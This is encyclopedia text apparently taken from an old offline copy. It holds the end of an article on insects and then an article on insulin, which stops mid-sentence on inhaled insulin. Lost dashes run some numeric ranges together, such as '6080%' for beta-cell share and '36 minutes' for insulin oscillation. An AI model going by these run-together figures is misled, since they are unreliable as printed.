          Other terrestrial arthropods, such as centipedes, millipedes, scorpions and spiders, are sometimes confused with insects since their body plans can appear similar, sharing (as do all arthropods) a jointed exoskeleton. However upon closer examination their features differ significantly; most noticeably they do not have the six legs characteristic of adult insects.


          The higher level phylogeny of the arthropods continues to be a matter of debate and research.
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          The oldest definitive insect fossil is the Devonian Rhyniognatha hirsti, from the 396 million year old Rhynie chert. This species already possessed dicondylic mandibles, a feature associated with winged insects, suggesting that wings may already have evolved at this time. Thus, the first insects probably appeared earlier, in the Silurian period.


          The origins of insect flight remain obscure, since the earliest winged insects currently known appear to have been capable fliers. Some extinct insects had an additional pair of winglets attaching to the first segment of the thorax, for a total of three pairs. So far, there is nothing that suggests that the insects were a particularly successful group of animals before they got their wings.


          Late Carboniferous and Early Permian insect orders include both several current very long-lived groups and a number of Paleozoic forms. During this era, some giant dragonfly-like forms reached wingspans of 55 to 70cm, (22-28in) making them far larger than any living insect. This gigantism may have been due to higher atmospheric oxygen levels that allowed increased respiratory efficiency relative to today. The lack of flying vertebrates could have been another factor.


          Most extant orders of insects developed during the Permian era that began around 270 million years ago. Many of the early groups became extinct during the Permian-Triassic extinction event, the largest mass extinction in the history of the Earth, around 252 million years ago.


          The remarkably successful Hymenopterans appeared in the Cretaceous but achieved their diversity more recently, in the Cenozoic. A number of highly-successful insect groups evolved in conjunction with flowering plants, a powerful illustration of co-evolution.


          Many modern insect genera developed during the Cenozoic; insects from this period on are often found preserved in amber, often in perfect condition. Such specimens are easily compared with modern species. The study of fossilized insects is called paleoentomology.


          


          Coevolution


          Insects were among the earliest terrestrial herbivores and acted as major selection agents on plants. Plants evolved chemical defenses against this herbivory and the insects in turn evolved mechanisms to deal with plant toxins. Many insects make use of these toxins to protect themselves from their predators. And such insects advertise their toxicity using warning colours. This successful evolutionary pattern has also been utilized by mimics. Over time, this has led to complex groups of co-evolved species. Conversely, some interactions between plants and insects are beneficial (see pollination), and coevolution has led to the development of very specific mutualisms in such systems.


          


          Classification


          Traditional morphology-based systematics has included in the subphylum Hexapoda four groups - Insects ( Ectognatha), springtails ( Collembola), Protura and Diplura, the latter three being grouped together as Entognatha on the basis of internalized mouthparts. Supraordinal relationships have undergone numerous changes with the advent of cladistic methods and genetic data. A recent hypothesis is that Hexapoda is polyphyletic, with the entognath classes having separate evolutionary histories from Insecta.


          As many of the traditional morphology-based taxa have been shown to be paraphyletic, it is best to avoid using terms such as subclass, superorder and infraorder and instead focus on monophyletic groupings. The following list represents the best supported monophyletic groupings for the Insecta.
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                Simplified Cladogram of insect groups and very simplified. Note that Apterygota, Palaeoptera and Exopterygota are possibly paraphyletic groups.
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          Apterygota


          
            	Monura 

          


          Monocondylia


          
            	Archaeognatha=Microcoryphia (bristletails)
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                    	Archodonata 
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                    	Protozygoptera=Archizygoptera 


                    	Odonata (dragonflies, damselflies)
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          Insects can be divided into two groups, historically treated as subclasses: Apterygota (wingless) and Pterygota (winged). The Apterygota consists of two primitively wingless orders - Archaeognatha (bristletails) and Thysanura (silverfish). Archaeognatha makes up the Monocondylia (based on mandibular morphology) while Thysanura and Pterygota are grouped together as Dicondylia. It is possible that the Thysanura itself is not monophyletic, with the family Lepidotrichidae a sister group to the Dicondylia (Pterygota + the remaining Thysanura).


          Paleoptera and Neoptera are the winged orders of insects, separated by the presence of sclerites and musculature that allow for folding of the wings flat over the abdomen in the latter group. Neoptera can further be divided into hemimetabolous ( Polyneoptera & Paraneoptera) and Holometabolous groups. It has proven particularly difficult to elucidate interordinal relationships within Polyneoptera. Phasmatodea and Embiidina have been suggested to form Eukinolabia. Mantodea, Blattodea & Isoptera are thought to form a monophyletic group termed Dictyoptera. Paraneoptera has turned out to be more closely related to Endopterygota than to the rest of the Exopterygota. The recent molecular finding that the traditional louse orders Mallophaga and Anoplura are derived from within Psocoptera has led to the new taxon Psocodea.


          It is quite likely that Exopterygota is paraphyletic in regards to Endopterygota. Contentious matters include Strepsiptera and Diptera grouped together as Halteria based on a reduction of one of the wing pairs - a position not well-supported in the entomological community. The Neuropterida are often "lumped" or "split" on the whims of the taxonomist. Fleas are now thought to be closely related to boreid mecopterans. Many questions remain to be answered when it comes to basal relationships amongst endopterygote orders, particularly Hymenoptera.


          


          Relationship to humans
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          Many insects are considered pests by humans. Insects commonly regarded as pests include those that are parasitic ( mosquitoes, lice, bed bugs), transmit diseases ( mosquitoes, flies), damage structures (termites), or destroy agricultural goods ( locusts, weevils). Many entomologists are involved in various forms of pest control, often using insecticides, but more and more relying on methods of biocontrol.


          Although pest insects attract the most attention, many insects are beneficial to the environment and to humans. Some pollinate flowering plants (for example wasps, bees, butterflies, ants). Pollination is a trade between plants that need to reproduce, and pollinators that receive rewards of nectar and pollen. A serious environmental problem today is the decline of populations of pollinator insects, and a number of species of insects are now cultured primarily for pollination management in order to have sufficient pollinators in the field, orchard or greenhouse at bloom time.


          Insects also produce useful substances such as honey, wax, lacquer and silk. Honey bees have been cultured by humans for thousands of years for honey, although contracting for crop pollination is becoming more significant for beekeepers. The silkworm has greatly affected human history, as silk-driven trade established relationships between China and the rest of the world. Fly larvae ( maggots) were formerly used to treat wounds to prevent or stop gangrene, as they would only consume dead flesh. This treatment is finding modern usage in some hospitals. Adult insects such as crickets, and insect larvae of various kinds are also commonly used as fishing bait.
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          In some parts of the world, insects are used for human food (" Entomophagy"), while being a taboo in other places. There are proponents of developing this use to provide a major source of protein in human nutrition. Since it is impossible to entirely eliminate pest insects from the human food chain, insects already are present in many foods, especially grains. Most people do not realize that food safety laws in many countries do not prohibit insect parts in food, but rather limit the quantity. According to cultural materialist anthropologist Marvin Harris, the eating of insects is taboo in cultures that have protein sources that require less work, like farm birds or cattle.


          Many insects, especially beetles, are scavengers, feeding on dead animals and fallen trees, recycling the biological materials into forms found useful by other organisms, and insects are responsible for much of the process by which topsoil is created. The ancient Egyptian religion adored dung beetles and represented them as beetle-shaped amulets, or scarabs.


          The most useful of all insects are insectivores, those that feed on other insects. Many insects can potentially reproduce so quickly that if all of their offspring were to survive, they could literally bury the earth in a single season. However, for any given insect one can name, whether it is considered a pest or not, there will be one to hundreds of species of insects that are either parasitoids or predators upon it, and play a significant role in controlling it. This role in ecology is usually assumed to be primarily one of birds, but insects, though less glamorous, are much more significant.


          Human attempts to control pests by insecticides can backfire, because important but unrecognised insects already helping to control pest populations are also killed by the poison, leading eventually to population explosions of the pest species.


          


          Quotations


          
            	"Something in the insect seems to be alien to the habits, morals, and psychology of this world, as if it had come from some other planet: more monstrous, more energetic, more insensate, more atrocious, more infernal than our own."

          


          
            	
              
                	 Maurice Maeterlinck (18621949)

              

            

          


          
            	When asked what can be learned about the Creator by examining His work, J.B.S. Haldane said "an inordinate fondness for beetles."

          


          
            	"To understand the success of insects is to appreciate our own shortcomings"  Thomas Eisner

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Insect"
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              	Genetic data
            


            
              	Locus:

              	Chr. 11 p15.5
            


            
              	Gene code:

              	HUGO/ INS
            


            
              	Gene type:

              	Protein codingp
            


            
              	Protein Structure/Function
            


            
              	Molecular Weight:

              	5808 (Da)
            


            
              	Structure:

              	Solution Structure of Human pro-Insulin Polypeptide
            


            
              	Protein type:

              	insulin family
            


            
              	Functions:

              	glucose regulation
            


            
              	Domains:

              	INS domain
            


            
              	Motifs:

              	SP motif
            


            
              	Other
            


            
              	Taxa expressing:

              	Homo sapiens; homologs: in metazoan taxa from invertebrates to mammals
            


            
              	Cell types:

              	pancreas: beta cells of the Islets of Langerhans
            


            
              	Subcellular localization:

              	extracellular fluids
            


            
              	Covalent modifications:

              	glycation, proteolytic cleavage
            


            
              	Pathway(s):

              	Insulin signaling pathway ( KEGG); Type II diabetes mellitus ( KEGG); Type I diabetes mellitus ( KEGG); Maturity onset diabetes of the young ( KEGG); Regulation of actin cytoskeleton ( KEGG)
            


            
              	Receptor/Ligand data
            


            
              	Antagonists:

              	glucagon, steroids, most stress hormomes
            


            
              	Medical/Biotechnological data
            


            
              	Diseases:

              	familial hyperproinsulinemia, Diabetes mellitus
            


            
              	Pharmaceuticals:

              	insulin ( Humulin Novolin), insulin analogues: insulin lispro ( Humalog), insulin aspart ( NovoLog), insulin detemir ( Levemir), insulin glargine ( Lantus), etc
            


            
              	Database Links
            


            
              	Codes:

              	EntrezGene 3630; Online 'Mendelian Inheritance in Man' (OMIM) 176730; UniProt P01308; RefSeq NM_000207
            

          


          Insulin is a hormone with intensive effects on both metabolism and several other body systems (eg, vascular compliance). When present, it causes most of the body's cells to take up glucose from the blood (including liver, muscle, and fat tissue cells), storing it as glycogen in the liver and muscle, and stops use of fat as an energy source. When insulin is absent (or low), glucose is not taken up by most body cells and the body begins to use fat as an energy source (ie, transfer of lipids from adipose tissue to the liver for mobilization as an energy source). As its level is a central metabolic control mechanism, its status is also used as a control signal to other body systems (such as amino acid uptake by body cells). It has several other anabolic effects throughout the body. When control of insulin levels fail, diabetes mellitus results.


          Insulin is used medically to treat some forms of diabetes mellitus. Patients with Type 1 diabetes mellitus depend on external insulin (most commonly injected subcutaneously) for their survival because the hormone is no longer produced internally. Patients with Type 2 diabetes mellitus are insulin resistant, have relatively low insulin production, or both; some patients with Type 2 diabetes may eventually require insulin when other medications fail to control blood glucose levels adequately.


          Insulin is a peptide hormone composed of 51 amino acid residues and has a molecular weight of 5808 Da. It is produced in the Islets of Langerhans in the pancreas. The name comes from the Latin insula for "island".


          Insulin's structure varies slightly between species of animal. Insulin from animal sources differs somewhat in 'strength' (i.e., in carbohydrate metabolism control effects) in humans because of those variations. Porcine (pig) insulin is especially close to the human version.


          


          Structure


          Within vertebrates, the similarity of insulins is extremely close. Bovine insulin differs from human in only three amino acid residues, and porcine insulin in one. Even insulin from some species of fish is similar enough to human to be clinically effective in humans. Insulin in some invertebrates (eg, the c elegans nematode) is quite close to human insulin, has similar effects inside cells, and is produced very similarly. Insulin has been strongly preserved over evolutionary time, suggesting its centrality in animal metabolic control. The C-peptide of proinsulin (discussed later), however, differs much more amongst species; it is also a hormone, but a secondary one.


          


          Mechanism


          Insulin is produced in the pancreas, and released when any of several stimuli are detected. These include protein ingestion, and glucose in the blood (from food which produces glucose when digested -- characteristically this is carbohydrate, though not all types produce glucose and so an increase in blood glucose levels). In target cells, they initiate a signal transduction which has the effect of increasing glucose uptake and storage. Finally, insulin is degraded, terminating the response.


          


          Production


          
            [image: Insulin undergoes extensive posttranslational modification along the production pathway. Production and secretion are largely independent; prepared insulin is stored awaiting secretion. Both C-peptide and mature insulin are biologically active. Cell components and proteins in this image are not to scale.]
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          In mammals, insulin is synthesized in the pancreas within the beta cells (-cells) of the islets of Langerhans. One million to three million islets of Langerhans (pancreatic islets) form the endocrine part of the pancreas, which is primarily an exocrine gland. The endocrine portion only accounts for 2% of the total mass of the pancreas. Within the islets of Langerhans, beta cells constitute 6080% of all the cells.


          In beta cells, insulin is synthesized from the proinsulin precursor molecule by the action of proteolytic enzymes, known as prohormone convertases (PC1 and PC2), as well as the exoprotease carboxypeptidase E. These modifications of proinsulin remove the centre portion of the molecule (ie, C-peptide), from the C- and N- terminal ends of proinsulin. The remaining polypeptides (51 amino acids in total), the B- and A- chains, are bound together by disulfide bonds/disulphide bonds. Confusingly, the primary sequence of proinsulin goes in the order "B-C-A", since B and A chains were identified on the basis of mass, and the C peptide was discovered after the others.


          


          Regulation of production


          The endogenous production of insulin is regulated in several steps along the synthesis pathway:


          
            	At transcription from the insulin gene


            	In mRNA stability


            	At the mRNA translation


            	In the posttranslational modifications

          


          


          Release


          Beta cells in the islets of Langerhans release insulin mostly in response to increased blood glucose levels through the following mechanism (see figure to the right):


          
            	Glucose enters the beta cells through the glucose transporter GLUT2


            	Glucose goes into the glycolysis and the respiratory cycle where multiple high-energy ATP molecules are produced by oxidation


            	Dependent on ATP levels, and hence blood glucose levels, the ATP-controlled potassium channels (K+) close and the cell membrane depolarizes


            	On depolarization, voltage controlled calcium channels (Ca2+) open and calcium flows into the cells


            	An increased calcium level causes activation of phospholipase C, which cleaves the membrane phospholipid phosphatidyl inositol 4,5-bisphosphate into inositol 1,4,5-triphosphate and diacylglycerol.


            	Inositol 1,4,5-triphosphate (IP3) binds to receptor proteins in the membrane of endoplasmic reticulum (ER). This allows the release of Ca2+ from the ER via IP3 gated channels, and further raises the cell concentration of calcium.


            	Significantly increased amounts of calcium in the cells causes release of previously synthesised insulin, which has been stored in secretory vesicles

          


          

          This is the main mechanism for release of insulin and regulation of insulin synthesis. In addition some insulin synthesis and release takes place generally at food intake, not just glucose or carbohydrate intake, and the beta cells are also somewhat influenced by the autonomic nervous system. The signalling mechanisms controlling these linkages are not fully understood.


          Other substances known to stimulate insulin release include amino acids from ingested proteins, acetylcholine, released from vagus nerve endings ( parasympathetic nervous system), cholecystokinin[citation needed], released by enteroendocrine cells of intestinal mucosa and glucose-dependent insulinotropic peptide (GIP). Three amino acids (alanine, glycine and arginine) act similarly to glucose by altering the beta cell's membrane potential. Acetylcholine triggers insulin release through phospholipase C, while the last acts through the mechanism of adenylate cyclase.


          The sympathetic nervous system (via Alpha2-adrenergic stimulation as demonstrated by the agonists clonidine or methyldopa) inhibit the release of insulin. However, it is worth noting that circulating adrenaline will activate Beta2-Receptors on the Beta cells in the pancreatic Islets to promote insulin release. This is important since muscle cannot benefit from the raised blood sugar resulting from adrenergic stimulation (increased gluconeogenesis and glycogenolysis from the low blood insulin: glucagon state) unless insulin is present to allow for GLUT-4 translocation in the tissue. Therefore, beginning with direct innervation, norepinephrine inhibits insulin release via alpha2-receptors, then subsequently, circulating adrenaline from the adrenal medulla will stimulate beta2-receptors thereby promoting insulin release.


          When the glucose level comes down to the usual physiologic value, insulin release from the beta cells slows or stops. If blood glucose levels drop lower than this, especially to dangerously low levels, release of hyperglycemic hormones (most prominently glucagon from Islet of Langerhans' alpha cells) forces release of glucose into the blood from cellular stores, primarily liver cell stores of glycogen. By increasing blood glucose, the hyperglycemic hormones correct life-threatening hypoglycemia. Release of insulin is strongly inhibited by the stress hormone norepinephrine (noradrenaline), which leads to increased blood glucose levels during stress.


          


          Oscillations


          
            [image: Insulin release from pancreas oscillates with a period of 3–6 minutes.]

            
              Insulin release from pancreas oscillates with a period of 36 minutes.
            

          


          Even during digestion, generally one or two hours following a meal, insulin release from pancreas is not continuous, but oscillates with a period of 36 minutes, changing from generating a blood insulin concentration more than ~800 p mol/l to less than 100 pmol/l. This is thought to avoid downregulation of insulin receptors in target cells and to assist the liver in extracting insulin from the blood. This oscillation is important to consider when administering insulin-stimulating medication, since it is the oscillating blood concentration of insulin release which should, ideally, be achieved, not a constant high concentration. This may be achieved by delivering insulin rhythmically to the portal vein or by islet cell transplantation to the liver. Future insulin pumps may include this characteristic.


          


          Signal transduction


          There are special transporter proteins in cell membranes through which glucose from the blood can enter a cell. These transporters are, indirectly, under blood insulin's control in certain body cell types (e.g., muscle cells). Low levels of circulating insulin, or its absence, will prevent glucose from entering those cells (e.g., in Type 1 diabetes). However, more commonly there is a decrease in the sensitivity of cells to insulin (e.g., the reduced insulin sensitivity characteristic of Type 2 diabetes), resulting in decreased glucose absorption. In either case, there is 'cell starvation', weight loss, sometimes extreme. In a few cases, there is a defect in the release of insulin from the pancreas. Either way, the effect is, characteristically, the same: elevated blood glucose levels.


          Activation of insulin receptors leads to internal cellular mechanisms that directly affect glucose uptake by regulating the number and operation of protein molecules in the cell membrane that transport glucose into the cell. The genes that specify the proteins that make up the insulin receptor in cell membranes have been identified and the structure of the interior, cell membrane section, and now, finally after more than a decade, the extra-membrane structure of receptor (Australian researchers announced the work 2Q 2006).


          Two types of tissues are most strongly influenced by insulin, as far as the stimulation of glucose uptake is concerned: muscle cells ( myocytes) and fat cells ( adipocytes). The former are important because of their central role in movement, breathing, circulation, etc, and the latter because they accumulate excess food energy against future needs. Together, they account for about two-thirds of all cells in a typical human body.


          


          Effects


          
            [image: Effect of insulin on glucose uptake and metabolism. Insulin binds to its receptor (1) which in turn starts many protein activation cascades (2). These include: translocation of Glut-4 transporter to the plasma membrane and influx of glucose (3), glycogen synthesis (4), glycolysis (5) and fatty acid synthesis (6).]

            
              Effect of insulin on glucose uptake and metabolism. Insulin binds to its receptor (1) which in turn starts many protein activation cascades (2). These include: translocation of Glut-4 transporter to the plasma membrane and influx of glucose (3), glycogen synthesis (4), glycolysis (5) and fatty acid synthesis (6).
            

          


          The actions of insulin on the global human metabolism level include:


          
            	Control of cellular intake of certain substances, most prominently glucose in muscle and adipose tissue (about ⅔ of body cells).


            	Increase of DNA replication and protein synthesis via control of amino acid uptake.


            	Modification of the activity of numerous enzymes.

          


          The actions of insulin on cells include:


          
            	Increased glycogen synthesis  insulin forces storage of glucose in liver (and muscle) cells in the form of glycogen; lowered levels of insulin cause liver cells to convert glycogen to glucose and excrete it into the blood. This is the clinical action of insulin which is directly useful in reducing high blood glucose levels as in diabetes.


            	Increased fatty acid synthesis  insulin forces fat cells to take in blood lipids which are converted to triglycerides; lack of insulin causes the reverse.


            	Increased esterification of fatty acids  forces adipose tissue to make fats (i.e., triglycerides) from fatty acid esters; lack of insulin causes the reverse.


            	Decreased proteolysis  decreasing the breakdown of protein.


            	Decreased lipolysis  forces reduction in conversion of fat cell lipid stores into blood fatty acids; lack of insulin causes the reverse.


            	Decreased gluconeogenesis  decreases production of glucose from non-sugar substrates, primarily in the liver (remember, the vast majority of endogenous insulin arriving at the liver never leaves the liver); lack of insulin causes glucose production from assorted substrates in the liver and elsewhere.


            	Increased amino acid uptake  forces cells to absorb circulating amino acids; lack of insulin inhibits absorption.


            	Increased potassium uptake  forces cells to absorb serum potassium; lack of insulin inhibits absorption. Thus lowers potassium levels in blood.


            	Arterial muscle tone  forces arterial wall muscle to relax, increasing blood flow, especially in micro arteries; lack of insulin reduces flow by allowing these muscles to contract.

          


          


          Degradation


          Once an insulin molecule has docked onto the receptor and effected its action, it may be released back into the extracellular environment or it may be degraded by the cell. Degradation normally involves endocytosis of the insulin-receptor complex followed by the action of insulin degrading enzyme. Most insulin molecules are degraded by liver cells. It has been estimated that a typical insulin molecule that is produced endogenously by the pancreatic beta cells is finally degraded about 71 minutes after its initial release into circulation.


          


          Hypoglycemia


          Although other cells can use other fuels for a while (most prominently fatty acids), neurons depend on glucose as a source of energy in the non-starving human. They do not require insulin to absorb glucose, unlike muscle and adipose tissue, and they have very small internal stores of glycogen. Glycogen stored in liver cells (unlike glycogen stored in muscle cells) can be converted to glucose, and released into the blood, when glucose from digestion is low or absent, and the glycerol backbone in triglycerides can also be used to produce blood glucose.


          Sufficient lack of glucose and scarcity of these sources of glucose can dramatically make itself manifest in the impaired functioning of the central nervous system; dizziness, speech problems, and even loss of consciousness, can occur. Low glucose is known as hypoglycemia or, in cases producing unconsciousness, "hypoglycemic coma" (sometimes termed "insulin shock" from the most common causative agent). Endogenous causes of insulin excess (such as an insulinoma) are very rare, and the overwhelming majority of insulin-excess induced hypoglycemia cases are iatrogenic and usually accidental. There have been a few reported cases of murder, attempted murder, or suicide using insulin overdoses, but most insulin shocks appear to be due to errors in dosage of insulin (e.g., 20 units of insulin instead of 2) or other unanticipated factors (didn't eat as much as anticipated, or exercised more than expected, or unpredicted kinetics of the subcutaneously injected insulin itself).


          Possible causes of hypoglycemia include:


          
            	External insulin (usually injected subcutaneously).


            	Oral hypoglycemic agents (e.g., any of the sulfonylureas, or similar drugs, which increase insulin release from beta cells in response to a particular blood glucose level).


            	Ingestion of low-carbohydrate sugar substitutes (animal studies show these can trigger insulin release (albeit in much smaller quantities than sugar) according to a report in Discover magazine, August 2004, p18). Note that this can never be a cause of hypoglycemia in type 1 diabetes mellitus, as endogenous insulin production no longer exists.

          


          


          Diseases and syndromes


          There are several conditions in which insulin disturbance is pathologic:


          
            	
              Diabetes mellitus  general term referring to all states characterized by hyperglycemia.

              
                	Type 1  autoimmune-mediated destruction of insulin producing beta cells in the pancreas resulting in absolute insulin deficiency.


                	Type 2  multifactoral syndrome with combined influence of genetic susceptibility and influence of environmental factors, the best known being obesity, age, and physical inactivity, resulting in insulin resistance in cells requiring insulin for glucose absorption. This form of diabetes is strongly inherited.


                	Other types of impaired glucose tolerance (see the diabetes article).

              

            


            	Insulinoma - a tumor of pancreatic beta cells producing excess of insulin or reactive hypoglycemia.


            	Metabolic syndrome  a poorly understood condition first called Syndrome X by Gerald Reaven, Reaven's Syndrome after Reaven, CHAOS in Australia (from the signs which seem to travel together), and sometimes prediabetes. It is currently not clear whether these signs have a single, treatable cause, or are the result of body changes leading to type 2 diabetes. It is characterized by elevated blood pressure, dyslipidemia (disturbances in blood cholesterol forms and other blood lipids), and increased waist circumference (at least in populations in much of the developed world). The basic underlying cause may be the insulin resistance of type 2 diabetes which is a diminished capacity for insulin response in some tissues (e.g., muscle, fat) to respond to insulin. Commonly, morbidities such as essential hypertension, obesity, Type 2 diabetes, and cardiovascular disease (CVD) develop.


            	Polycystic ovary syndrome  a complex syndrome in women in the reproductive years where there is anovulation and androgen excess commonly displayed as hirsutism. In many cases of PCOS insulin resistance is present.

          


          


          As a medication


          


          Principles


          Insulin is required for all animal life (excluding certain insects). Its mechanism of action is almost identical in nematode worms (e.g. C. elegans), fish, and mammals, and it is a protein that has been highly conserved across evolutionary time. Insulin must be administered to patients who experience such a deprivation. Clinically, this condition is called diabetes mellitus type 1.


          The initial sources of insulin for clinical use in humans were cow, horse, pig or fish pancreases. Insulin from these sources is effective in humans as it is nearly identical to human insulin (three amino acid difference in bovine insulin, one amino acid difference in porcine). Differences in suitability of beef, pork, or fish derived insulin for individual patients have historically been due to lower preparation purity resulting in allergic reactions to the presence of non-insulin substances. Though purity has improved steadily since the 1920s ultimately reaching purity of 99% by the mid-1970s thanks to high-pressure liquid chromatography (HPLC) methods, but minor allergic reactions still occur occasionally, although the same types of allergic reactions have also been known to occur in response to synthetic "human" insulin varieties. Insulin production from animal pancreases was widespread for decades, but very few patients today rely on insulin from animal sources, largely because few pharmaceutical companies sell it anymore.


          Synthetic "human" insulin is now manufactured for widespread clinical use using genetic engineering techniques using recombinant DNA technology, which the manufacturers claim reduces the presence of many impurities. Eli Lilly marketed the first such insulin, Humulin, in 1982. Humulin was the first medication produced using modern genetic engineering techniques in which actual human DNA is inserted into a host cell (E. coli in this case). The host cells are then allowed to grow and reproduce normally, and due to the inserted human DNA, they produce a synthetic version of human insulin. However, the clinical preparations prepared from such insulins differ from endogenous human insulin in several important respects; an example is the absence of C-peptide which has in recent years been shown to have systemic effects itself.


          Genentech developed the technique Lilly used to produce Humulin, although the company never commercially marketed the product themselves. Novo Nordisk has also developed a genetically engineered insulin independently. According to a survey that the International Diabetes Federation conducted in 2002 on the access to and availability of insulin in its member countries, approximately 70% of the insulin that is currently sold in the world is recombinant, biosynthetic 'human' insulin. A majority of insulin used clinically today is produced this way, although the clinical evidence has provided conflicting evidence on whether these insulins are any less likely to produce an allergic reaction. Also, the International Diabetes Federation's position statement is very clear in stating that "there is NO overwhelming evidence to prefer one species of insulin over another" and "[modern, highly-purified] animal insulins remain a perfectly acceptable alternative."


          Since January 2006, all insulins distributed in the U.S. and some other countries are synthetic "human" insulins or their analogs. A special FDA importation process is required to obtain bovine or porcine derived insulin for use in the U.S., although there may be some remaining stocks of porcine insulin made by Lilly in 2005 or earlier.


          There are several problems with insulin as a clinical treatment for diabetes:


          
            	Mode of administration.


            	Selecting the 'right' dose and timing.


            	Selecting an appropriate insulin preparation (typically on 'speed of onset and duration of action' grounds).


            	Adjusting dosage and timing to fit food intake timing, amounts, and types.


            	Adjusting dosage and timing to fit exercise undertaken.


            	Adjusting dosage, type, and timing to fit other conditions, for instance the increased stress of illness.


            	Variability in absorption into the bloodstream via subcutaneous delivery


            	The dosage is non-physiological in that a subcutaneous bolus dose of insulin alone is administered instead of combination of insulin and C-peptide being released gradually and directly into the portal vein.


            	It is simply a nuisance for patients to inject whenever they eat carbohydrate or have a high blood glucose reading.


            	It is dangerous in case of mistake (most especially 'too much' insulin).

          


          


          Types


          Medical preparations of insulin (from the major suppliers  Eli Lilly, Novo Nordisk, and Sanofi Aventis  or from any other) are never just 'insulin in water'. Clinical insulins are specially prepared mixtures of insulin plus other substances. These delay absorption of the insulin, adjust the pH of the solution to reduce reactions at the injection site, and so on.


          Slight variations of the human insulin molecule are called insulin analogs, so named because they are not technically insulin, rather they are analogs which retain the hormone's glucose management functionality. They have absorption and activity characteristics not currently possible with subcutaneously injected insulin proper. They are either absorbed rapidly in an attempt to mimic real beta cell insulin (as with Lilly's lispro, Novo Nordisk's aspart and Sanofi Aventis' glulisine), or steadily absorbed after injection instead of having a 'peak' followed by a more or less rapid decline in insulin action (as with Novo Nordisk's version Insulin detemir and Sanofi Aventis's Insulin glargine), all while retaining insulin's glucose-lowering action in the human body. However, a number of meta-analyses, including those done by the Cochrane Collaboration in the United Kingdom in 2002, Germany's Institute for Quality and Cost Effectiveness in the Health Care Sector [IQWiG] released in 2007, and the Canadian Agency for Drugs and Technology in Health (CADTH), also released in 2007 have proven unequivocally that any claims of superiority for insulin analogs over regular insulin are unsupported by clinical evidence.


          Choosing insulin type and dosage/timing should be done by an experienced medical professional working with the diabetic patient.


          The commonly used types of insulin are:


          
            	Rapid-acting, are presently insulin analogs, such as the insulin analog aspart or lispro  begins to work within 5 to 15 minutes and is active for 3 to 4 hours. Newer varieties are in now in Phase II clinical trials which are designed to work rapidly, but retain the same genetic structure as regular human insulin.

          


          
            	Short-acting, such as regular insulin  starts working within 30 minutes and is active about 5 to 8 hours.


            	Intermediate-acting, such as NPH, or lente insulin  starts working in 1 to 3 hours and is active 16 to 24 hours.


            	Long-acting, such as ultralente insulin  starts working in 4 to 6 hours, and is active 24 to 28 hours.


            	Insulin glargine and Insulin detemir  both insulin analogs which start working within 1 to 2 hours and continue to be active, without major peaks or dips, for about 24 hours, although this varies in many individuals.


            	A mixture of NPH and regular insulin  starts working in 30 minutes and is active 16 to 24 hours. There are several variations with different proportions of the mixed insulins.

          


          


          Yeast-based


          In late 2003, Wockhardt commenced manufacture of a yeast-based insulin costing $3.25 in India claiming it eliminates the risk of contracting diseases such as BSE and CJD associated with insulin derived from pigs and cattle. However, the company continues to manufacture insulin derived from pigs in the United Kingdom.


          


          Modes of administration


          Unlike many medicines, insulin cannot be taken orally. Like nearly all other proteins introduced into the gastrointestinal tract, it is reduced to fragments (even single amino acid components), whereupon all 'insulin activity' is lost.


          


          Subcutaneous


          Insulin is usually taken as subcutaneous injections by single-use syringes with needles, an insulin pump, or by repeated-use insulin pens with needles.


          Administration schedules attempt to mimic the physiologic secretion of insulin by the pancreas. Hence, both a long-acting insulin and a short-acting insulin are typically used.


          


          Insulin pump


          Insulin pumps are a reasonable solution for some. Advantages to the patient are better control over background or 'basal' insulin dosage, bolus doses calculated to fractions of a unit, and calculators in the pump that may help with determining 'bolus' infusion doages. The limitations are cost, the potential for hypoglycemic and hyperglycemic episodes, catheter problems, and no "closed loop" means of controlling insulin delivery based on current blood glucose levels.


          Insulin pumps may be like 'electrical injectors' attached to a temporarily implanted catheter or cannula. Some who cannot achieve adequate glucose control by conventional (or jet) injection are able to do so with the appropriate pump.


          As with injections, if too much insulin is delivered or the patient eats less than he or she dosed for, there will be hypoglycemia. On the other hand, if too little insulin is delivered, there will be hyperglycemia. Both can be life-threatening. In addition, indwelling catheters pose the risk of infection and ulceration, and some patients may also develop lipodystrophy due to the infusion sets. These risks can often be minimized by keeping infusion sites clean. Insulin pumps require care and effort to use correctly. However, some patients with diabetes are capable of keeping their glucose in reasonable control only with an insulin pump.


          


          Inhalation


          In 2006 the U.S. Food and Drug Administration approved the use of Exubera, the first inhalable insulin. It has been withdrawn from the market by its maker as of 3Q 2007, due to lack of acceptance.


          Inhaled insulin has similar efficacy to injected insulin, both in terms of controlling glucose levels and blood half-life. Currently, inhaled insulin is short acting and is typically taken before meals; an injection of long-acting insulin at night is often still required. When patients were switched from injected to inhaled insulin, no significant difference was found in HbA1c levels over three months. Accurate dosing is still a problem, although patients showed no significant weight gain or pulmonary function decline over the length of the trial, when compared to the baseline. Following its commercial launch in 2005 in the UK, it was not (as of July 2006) recommended by National Institute for Health and Clinical Excellence for routine use, except in cases where there is "proven injection phobia diagnosed by a psychiatrist or psychologist".


          In January 2008, the world's largest insulin manufacturer, Novo Nordisk A/S, also announced that the company was discontinuing all further development of the company's own version of inhalable insulin, known as the AERx iDMS inhaled insulin system. Similarly, Eli Lilly and Company ended its efforts to develop its Air inhaled insulin in March 2008. MannKind Corp. (whose majority owner, Alfred E. Mann, remained unusually bullish on the concept in spite of Pfizer's costly failure


          


          Transdermal


          There are several methods for transdermal delivery of insulin. Pulsatile insulin uses microjets to pulse insulin into the patient, mimicking the physiological secretions of insulin by the pancreas. Jet injection had different insulin delivery peaks and durations as compared to needle injection. Some diabetics find control possible with jet injectors, but not with hypodermic injection.


          Both electricity using iontophoresis and ultrasound have been found to make the skin temporarily porous. The insulin administration aspect remains experimental, but the blood glucose test aspect of 'wrist appliances' is commercially available.


          Researchers have produced a watch-like device that tests for blood glucose levels through the skin and administers corrective doses of insulin through pores in the skin.


          


          Intranasal insulin


          Intranasal insulin is being investigated.


          


          Oral insulin


          The basic appeal of oral hypoglycemic agents is that most people would prefer a pill to an injection. However, insulin is a protein, which are digested in the stomach and gut and in order to be effective at controlling blood sugar, can not be taken orally.


          The potential market for an oral form of insulin is assumed to be enormous, thus many laboratories have attempted to devise ways of moving enough intact insulin from the gut to the portal vein to have a measurable effect on blood sugar. As of 2004, no products appear to be successful enough yet to bring to market.


